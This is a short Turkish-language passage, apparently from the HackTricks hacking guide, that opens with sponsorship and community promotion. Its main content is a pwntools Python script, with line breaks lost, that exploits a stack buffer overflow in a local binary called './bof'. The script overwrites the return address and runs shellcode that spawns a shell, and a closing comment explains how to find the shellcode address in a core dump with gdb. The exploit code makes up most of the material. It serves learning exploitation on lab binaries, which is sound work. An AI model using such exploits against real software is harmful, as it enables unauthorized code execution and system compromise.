Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na (https://github.com/sponsors/carlospolop) göz atın!
[PEASS Ailesi]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [NFT'ler]'imiz (https://opensea.io/collection/the-peass-family) koleksiyonumuzu
Katılın 💬 [Discord grubuna] (https://discord.gg/hRep4RUj7f) veya [telegram grubuna] (https://t.me/peass) veya bizi Twitter 🐦 [@hacktricks_live] (https://twitter.com/hacktricks_live)** takip edin.**
from pwn import*# Load the binarybinary_name ='./bof'elf = context.binary =ELF(binary_name)# Generate shellcodeshellcode =asm(shellcraft.sh())# Start the processp =process(binary_name)# Offset to return addressoffset =72# Address in the stack after the return addressret_address =p64(0xfffffffff1a0)# Craft the payloadpayload =b'A'* offset + ret_address + shellcodeprint("Payload length: "+str(len(payload)))# Send the payloadp.send(payload)# Drop to an interactive sessionp.interactive()
Burada bulunacak tek "karmaşık" şey, çağrı için yığında adresi bulmaktır. Benim durumumda, gdb kullanarak bulduğum adresi kullanarak saldırıyı oluşturdum, ancak saldırı gerçekleştirilirken çalışmadı (çünkü yığın adresi biraz değişti).
Oluşturulan core dosyasını (gdb ./bog ./core) açtım ve shellcode'ın başlangıç gerçek adresini kontrol ettim.